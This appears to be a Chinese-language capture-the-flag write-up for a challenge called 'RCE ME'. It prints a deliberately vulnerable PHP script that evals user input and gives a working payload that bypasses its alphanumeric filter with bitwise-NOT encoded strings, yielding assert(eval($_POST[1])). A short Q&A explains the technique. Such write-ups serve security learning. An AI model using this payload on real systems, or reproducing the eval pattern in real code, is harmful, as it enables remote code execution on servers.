题目: RCE ME
<?php
error_reporting(E_ALL);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
echo $code;
echo "</Br>".strlen($code)."</Br>";
eval($code);
}
highlight_file(__FILE__);
方法
- 字符串取反绕过
- 字符串异或(同上)
payload
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6);
第一个字符括号内的结果是assert,
第二个括号内结果是eval($_POST[1])
执行顺序是
- 解析变量 得到
assert和eval($_POST[1]) - 调用eval,解析变量
- 调用assert,执行代码
Q
-
为什么不能直接构造
$_POST[1],而要加上assert(eval(..))?A: 直接构造
$_POST[1],执行的是eval('$_POST[1]');作用仅限于解析了POST变量1 而不是所期望执行的
eval($_POST[1])先取得变量,再执行代码.
-
为什么不能直接构造
eval($_POST[1])? A: 如果可以使用字母,直接传递?code=eval($_POST[1]);,可以达到效果,第一层eval获取了变量,第二层eval执行代码 但是不能使用字母时,由于eval不是一个php函数,而是语言构造器,不能采用可变函数的方式调用,同样的,echo、include…也不行。详情见php可变函数